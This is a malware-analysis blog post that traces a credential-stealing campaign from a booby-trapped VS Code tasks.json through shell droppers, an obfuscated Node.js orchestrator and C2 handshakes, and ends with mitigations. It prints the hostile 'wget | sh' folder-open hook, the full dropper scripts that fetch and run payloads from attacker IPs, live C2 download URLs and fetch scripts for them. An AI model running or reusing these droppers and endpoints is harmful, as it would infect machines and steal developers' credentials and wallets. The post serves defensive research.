Introduction
Recently, I encountered and dismantled a highly sophisticated, multi-stage credential stealer. This campaign bypassed traditional phishing vectors, utilizing IDE execution traps, IP-locked dynamic payloads, custom XOR obfuscation, and Cython-compiled binaries to establish persistence and exfiltrate data silently.
This post documents the complete attack chain, the operational security measures required to safely analyze it, and the reverse engineering techniques used to break the attacker's defenses at every stage.
I conducted the entire analysis within an isolated Debian Linux Virtual Machine.
A strict "Terminal-Only" rule was enforced during the initial triage.
No IDEs: Opening a suspicious repository in VS Code, IntelliJ, or WebStorm is an immediate compromise hazard due to auto-execution features (which this malware specifically exploited).
Text Inspection: File inspection was limited to terminal pagers and text editors (
helix,less -S).Payload Handling: Network interception and payload extraction were handled using stripped-down
wgetcommands.Binary Restraint: Compiled binaries were never executed. Triage was limited to static analysis tools (
readelf,strings,file).
PHASE 1: The Initial Access Vector
The threat actor assumes the victim will clone their compromised repository and open it directly in Visual Studio Code IDE. To uncover the execution trigger without infecting my machine, I inspected the configuration files manually via the terminal.
Static analysis of the cloned repository revealed a malicious execution trigger hidden inside .vscode/tasks.json file.
.vscode/tasks.json
"runOptions": {
"runOn": "folderOpen"
},
"linux": {
"command": "wget -qO- 'https://gurucooldown.short.gy/gxUsMe8l' -L | sh"
}(you need to scroll horizontally to the right) This is NOT the complete .vscode/tasks.json file content. Displaying only selected part.
The Mechanism: The attacker abused VS Code's native task automation. By using specific flags like "runOn": "folderOpen", the IDE is instructed to silently execute a remote bash script the exact moment the repository is opened. The terminal is hidden from the user, making the initial infection invisible.
PHASE 2: Defeating the Stage 1 Attack
The tasks.json file downloads a shell script from a remote server and pipes it to the shell. So anyone opening this repository using VsCode is automatically attacked. Fortunately, I used my daily driver Helix editor. For the past couple years I've been a total terminal guy. So I happen to use my favourite editor: Helix. This allowed me to see the .vscode directory and suspicious code in the tasks.json. So I manually downloaded the file safely using wget.
wget -qO payload.txt 'https://gurucooldown.short.gy/gxUsMe8l'
#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/Documents"
clear
wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://165.140.86.190:3000/task/tokenlinux?token=40abc18736c9&st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6Ijo6ZmZmZjoxNTIuNTkuMTY3LjM4Iiwic2Vzc2lvbklkIjoiMzk1NjU5MTQtYzg3Zi00ZGUwLWE1MTUtNmQwMmJjYjYyOWY2Iiwic3RlcCI6MSwidGltZXN0YW1wIjoxNzc3NDU4ODUwNDgzLCJvcmlnVG9rZW4iOiI0MGFiYzE4NzM2YzkiLCJpYXQiOjE3Nzc0NTg4NTAsImV4cCI6MTc3NzQ1OTAzMH0.-TgaACMUSDLG67sxnGOUzUvLpUJIJaVZxJHMxRxjRMs"
clear
mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
$//' "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
exit 0Notice the JWT in the URL parameter. Upon decoding that, I got:
{
"ip": "::ffff:152.59.167.38",
"sessionId": "39565914-c87f-4de0-a515-6d02bcb629f6",
"step": 1,
"timestamp": 1777458850483,
"origToken": "40abc18736c9",
"iat": 1777458850,
"exp": 1777459030
}It sents my IP (they didn't know I used VPN) with session id and attached a short time duration to avoid analysis. So I crafted a shell script to bypass this duration block and move pass this stage.
The Discovery: The downloaded bash script (payload.txt) contained a Base64 encoded payload. Decoding it revealed a highly restrictive, time bound, IP-locked JWT authentication system designed specifically to block automated security sandboxes.
The phase 2 attack shell script (tokenlinux.sh) which is automatically downloaded and executed by the phase 1 shell script:
tokenlinux.sh
#!/bin/bash
# Creating new Info
set -e
OS=$(uname -s)
# Remove leading "v"
LATEST_VERSION="20.11.1"
NODE_VERSION=${LATEST_VERSION}
NODE_TARBALL="node-v${NODE_VERSION}"
DOWNLOAD_URL=""
NODE_DIR="$HOME/.task/${NODE_TARBALL}"
# Step 1: Set the Node.js tarball and download URL based on the OS
if [ "$OS" == "Darwin" ]; then
# macOS
NODE_TARBALL="$HOME/.task/${NODE_TARBALL}-darwin-x64.tar.xz"
DOWNLOAD_URL="https://nodejs.org/dist/v${NODE_VERSION}/node-v${NODE_VERSION}-darwin-x64.tar.xz"
elif [ "$OS" == "Linux" ]; then
# Linux
NODE_TARBALL="$HOME/.task/${NODE_TARBALL}-linux-x64.tar.xz"
DOWNLOAD_URL="https://nodejs.org/dist/v${NODE_VERSION}/node-v${NODE_VERSION}-linux-x64.tar.xz"
else
exit 1
fi
# Step 2: Check if Node.js is installed
NODE_INSTALLED_VERSION=$(node -v 2>/dev/null || echo "")
# Step 3: Determine whether to install Node.js
INSTALL_NODE=1
#if [ -z "$NODE_INSTALLED_VERSION" ]; then
# INSTALL_NODE=1
#fi
EXTRACTED_DIR="$HOME/.task/node-v${NODE_VERSION}-$( [ "$OS" = "Darwin" ] && echo "darwin" || echo "linux" )-x64"
# Use Documents directory for files
#USER_HOME="$HOME/Documents"
#mkdir -p "$USER_HOME"
USER_HOME="$HOME/.task"
mkdir -p "$USER_HOME"
BASE_URL="http://165.140.86.190:3000"
# ? Check if the Node.js folder exists
if [ ! -d "$EXTRACTED_DIR" ]; then
echo "Error: Node.js directory was not extracted properly. Retrying download and extraction..."
if [ "$INSTALL_NODE" -eq 1 ]; then
if ! command -v curl &> /dev/null; then
wget -q "$DOWNLOAD_URL" -O "$NODE_TARBALL"
else
curl -sSL -o "$NODE_TARBALL" "$DOWNLOAD_URL"
fi
if [ -f "$NODE_TARBALL" ]; then
tar -xf "$NODE_TARBALL" -C "$HOME/.task"
rm -f "$NODE_TARBALL"
fi
fi
fi
# ? Add Node.js to the system PATH (session only)
export PATH="$EXTRACTED_DIR/bin:$PATH"
# Step 7: Verify node & npm
if ! command -v node &> /dev/null || ! command -v npm &> /dev/null; then
exit 1
fi
# Step 8: Download files
# Check if curl is available
if ! command -v curl >/dev/null 2>&1; then
# If curl is not available, use wget
wget -q -O "$USER_HOME/parser.js" "$BASE_URL/task/parser?token=40abc18736c9&st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6Ijo6ZmZmZjoxNTIuNTguMTYzLjE0MSIsInNlc3Npb25JZCI6ImYyN2I0NTVhLTI2NTgtNDA2ZS05MmNjLTJiMGY2MDYzM2Q4YyIsInN0ZXAiOjIsInRpbWVzdGFtcCI6MTc3NzUxMTI0NjA3NSwib3JpZ1Rva2VuIjoiNDBhYmMxODczNmM5IiwiaWF0IjoxNzc3NTExMjQ2LCJleHAiOjE3Nzc1MTE0MjZ9.leonN9WynEmz2kdFlPwrdHEgKDTOhjYYg4VMsn_hSPs"
wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/package.json"
else
# If curl is available, use curl
curl -s -L -o "$USER_HOME/parser.js" "$BASE_URL/task/parser?token=40abc18736c9&st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6Ijo6ZmZmZjoxNTIuNTguMTYzLjE0MSIsInNlc3Npb25JZCI6ImYyN2I0NTVhLTI2NTgtNDA2ZS05MmNjLTJiMGY2MDYzM2Q4YyIsInN0ZXAiOjIsInRpbWVzdGFtcCI6MTc3NzUxMTI0NjA3NSwib3JpZ1Rva2VuIjoiNDBhYmMxODczNmM5IiwiaWF0IjoxNzc3NTExMjQ2LCJleHAiOjE3Nzc1MTE0MjZ9.leonN9WynEmz2kdFlPwrdHEgKDTOhjYYg4VMsn_hSPs"
curl -s -L -o "$USER_HOME/package.json" "$BASE_URL/task/package.json"
fi
# Step 9: Install 'request' package
cd "$USER_HOME"
if [ ! -d "node_modules/request" ]; then
npm install --silent --no-progress --loglevel=error --fund=false
fi
# Step 10: Run token parser
if [ -f "$USER_HOME/parser.js" ]; then
nohup node "$USER_HOME/parser.js" > "$USER_HOME/parser.log" 2>&1 &
else
exit 1
fi
exit 0It sets up nodejs which they need to run their next phase of attack on my machine. This time the attackers again uses JWT in the URL params. Notice the "step": 2,.
{
"ip": "::ffff:152.58.163.141",
"sessionId": "f27b455a-2658-406e-92cc-2b0f60633d8c",
"step": 2,
"timestamp": 1777511246075,
"origToken": "40abc18736c9",
"iat": 1777511246,
"exp": 1777511426
}The Bypass: I had to replicate the exact API calls the malware makes. I wrote a bash script to automatically pass through these nested steps before the JWT expiry window closed. It totally feels like I'm playing with a russian matryoshka doll - layer after layer of attacks.
inspect.sh (The shell script I wrote)
# The url mentioned in the .vscode/tasks.json
wget -qO ph1.sh 'https://gurucooldown.short.gy/gxUsMe8l'
# Upon analyzing the ph1.sh I found this pattern
PHASE2_URL=$(grep -oP 'http://165.140.86.190:3000/task/tokenlinux[^"]*' ph1.sh)
wget -qO ph2.sh "$PHASE2_URL"
# Analyzing the ph2.sh, I found it is making another network request
# so I extracted the endpoint and assemble the full URL
ENDPOINT=$(grep -oP 'task/parser\?token=[^"]*' ph2.sh | head -n 1)
PHASE3_URL="http://165.140.86.190:3000/$ENDPOINT"
wget -qO parser.js "$PHASE3_URL"
wget -qO package.json "http://165.140.86.190:3000/task/package.json"This script was not written in one-go. I had to analyze shell files I got in each steps, to get the nested (next) stage. This consumed a lot of time, but was very thrilling and satisfactory.
PHASE 3: Reverse Engineering the JavaScript Orchestrator (parser.js)
c2.sh(my shell script to get the b.js file from server)
# Ping the C2 server for the payload coordinates
RESPONSE=$(wget -qO- http://78.142.218.26:1244/s/40abc18736c9)
echo "Server response: $RESPONSE"
# If the server provides the "ZT3" token, crack it open
if [[ "$RESPONSE" == ZT3* ]]; then
ENCODED_DATA=${RESPONSE:3}
DECODED_DATA=$(echo "$ENCODED_DATA" | base64 -d)
# Extract the Hash (it's the second part of the comma-separated string)
HASH=$(echo "$DECODED_DATA" | cut -d',' -f2)
echo "Extracted Payload Hash: $HASH"
# Download b.js malware
wget -qO b.js "http://78.142.218.26:1244/f/$HASH"
echo "Success! Check file size:"
ls -l b.js
else
echo "The server rejected the token or didn't respond."
fiThe
parser.jsandb.jsfiles are not attached to this post, but the analysis below documents every significant finding from both files in full technical detail.
Static analysis of the downloaded parser.js file revealed a heavily obfuscated Node.js script utilizing a custom string-shifting packer to evade signature detection.
The Deobfuscation: Instead of manual string dumping, I utilized Abstract Syntax Tree (AST) manipulation to computationally strip the armor. Using webcrack, I successfully deobfuscated the control flow. The exposed code revealed several hardcoded byte arrays and a custom bitwise XOR decryption function.
By isolating the decryption engine and manually passing the hidden arrays through the XOR cipher, the malware's immediate objectives became clear in plain text.
The XOR Key and Decoded Strings: The decryption function U() uses a four-byte XOR key S = [112, 160, 137, 72], cycling through it with a[i] ^ S[i % 4]. Every sensitive string in the file is stored as a raw byte array and decoded only at runtime. Manually passing each array through the cipher reveals the actual strings the malware assembles:
| Byte Array Variable | Decoded Value | Purpose |
|---|---|---|
Q | .task | Hidden working directory name |
K | b.js | Final payload filename |
O | /s/ | C2 URL path segment |
tt | /f | C2 file download path |
rt | cd | Shell command prefix |
it | nohup | Process launcher (Linux) |
The nohup Disguise (Linux-specific): On Linux and macOS, the final payload is launched using child_process.spawn with detached: true and unref() to orphan the process from its parent. On Linux specifically, the spawn call uses nohup as the executable name in the process arguments. This means the running Node.js process appears in the system process list as nohup rather than node. A developer checking ps aux for suspicious Node.js processes would not find it.
The ZT3 Handshake Protocol: Before downloading any payload, the C2 server uses a custom handshake. The orchestrator contacts the server at /s/40abc18736c9. If the server responds with a string beginning ZT3, the client strips those three characters, base64-decodes the remainder, and splits on a comma. The first part becomes the download URL prefix. The second part becomes the payload hash used to construct the exact download path for b.js.
This is a dead man's switch design. If the server does not send ZT3, the entire attack chain stops silently. No payload is downloaded. No error is thrown. The machine shows no sign of compromise. This also means the operator can terminate all active infections simultaneously simply by changing the server response.
The Registration Beacon: Immediately after the handshake succeeds, the orchestrator sends a POST request to the C2 at /keys before downloading anything. The payload contains: a Unix timestamp, the payload type identifier, a host ID built from the machine hostname (on macOS the username is appended to the hostname), a session state string, and a Node.js version fingerprint derived from the process arguments.
This tells the operator which machine connected, which OS it is running, and which version of the attack chain delivered it, all before a single file is exfiltrated. The operator is watching infections in real time, not collecting data passively.
PHASE 4: Dissecting the b.js file
The orchestrator’s (parser.js) primary function is to fetch and execute b.js. Safe extraction of this file revealed a massive, modular exploitation framework rather than a simple script.
Architectural Breakdown: After deobfuscation I found that the script contains a central object (y) housing four distinct Base64-encoded modules. The main loop extracts these modules and executes them simultaneously in memory, preventing them from touching the disk where antivirus scanners might flag them.
My analysis of the b.js file revealed highly specialized capabilities:
Crypto & Browser Stealer: Targets specific browser paths (Google Chrome, BraveSoftware). It contains hardcoded arrays of Chrome Extension IDs matching popular cryptocurrency wallets (MetaMask, Phantom, Binance Chain) and zips the Local Extension Settings alongside the browser's master decryption key.
SSH RAT: A Remote Access Trojan built using the
ssh2library. It establishes encrypted reverse tunnels to the attacker's server, featuring an internal heartbeat mechanism to maintain persistence and commands to silently execute terminal tasks.Live Surveillance: Utilizes
socket.io-clientfor low-latency communication. It imports thesharpimage processing library to compress and stream live screenshots, hooking into native OS events to log keystrokes and sniff clipboard contents in real time.Deep File Crawler: An asynchronous file hunter. It bypasses system directories to optimize speed, recursively scanning user folders for specific developer secrets. The target list explicitly includes
*.env,*.pem,*id_rsa,*.kdbx(KeePass databases), and cloud infrastructure configuration files. It uses a concurrency queue to silently upload these files in batches, preventing CPU spikes.
PHASE 5: Intercepting the Command and Control
The b.js acts as a staging mechanism to download final compiled binaries from a secondary Command and Control (C2) infrastructure.
Network Logic Reversal: The script dynamically generates the C2 URLs using a custom Base64 shuffling function. By writing a quick script to reverse this shuffling logic, the true payload endpoints were exposed:
- Windows Payload:
http://45.59.160.200:1244/clw/gxUsMe8(Downloads mod.pyd) - macOS/Linux Payload:
http://45.59.160.200:1244/clw1/gxUsMe8(Downloads mod.so) - Python Runtime:
http://45.59.163.50:1244/pd2(Downloads p2.zip)
Caution: Do not download these URLs. If you choose to, use a fully isolated environment with no access to your real credentials or network. These URLs may already be dead. They are documented here for attribution and research purposes only.
The Interception: To safely capture these binaries without triggering execution, I utilized stripped wget commands directly within my isolated VM.
wget --user-agent="" -qO mod.so "http://45.59.160.200:1244/clw1/gxUsMe8"Note: The --user-agent="" flag was critical. The Node.js request library does not send a default user agent. Sending a standard Wget/1.21 header would alert the C2 gatekeeper and result in a dropped connection.
Where the Analysis Ends
The compiled binaries intercepted from Command and Control (mod.so, mod.pyd, p2.zip) are beyond the scope of this analysis. Static analysis using readelf and strings confirms they are Cython-compiled Python extensions, but decompiling Cython binaries requires a different toolchain and deeper reverse engineering skill than this post covers. This is the current frontier of this investigation. A follow-up post will cover binary analysis once that skill is built.
Key Takeaways & Mitigation
This campaign represents a highly mature threat model targeting the software engineering supply chain.
Attacker Tactics, Techniques, and Procedures:
- Execution: Abuse of
.vscode/tasks.jsonfor zero-click execution upon repository opening. - Defense Evasion: Utilization of IP-locked
JWTdelivery networks and dynamic XOR payload encryption. - Persistence: Detached background processes and portable runtime deployment.
- Obfuscation:
Cythoncompilation of the final Python payloads to prevent source code recovery. - Command and Control: A
ZT3handshake protocol with operator-controlled kill switch. A registration beacon at/keysproviding real-time infection visibility to the operator before any data is collected.
Defense Recommendations:
- Zero-Trust Repositories: Never open an untrusted repository directly in an IDE. Always audit
.vscode,.idea, and package configuration files using a standard text editor. - EDR Tuning: Endpoint Detection and Response (EDR) agents should be strictly configured to flag and block IDE binaries (like code or webstorm) from unexpectedly spawning interactive shells or network utilities like
curlandwget. - VS Code Workspace Trust: Set VS Code to default to Restricted Mode globally via
"security.workspace.trust.enabled": truein settings. Never click "Trust" on a repository received during a recruitment process. Legitimate companies do not require IDE trust prompts as part of technical assessments.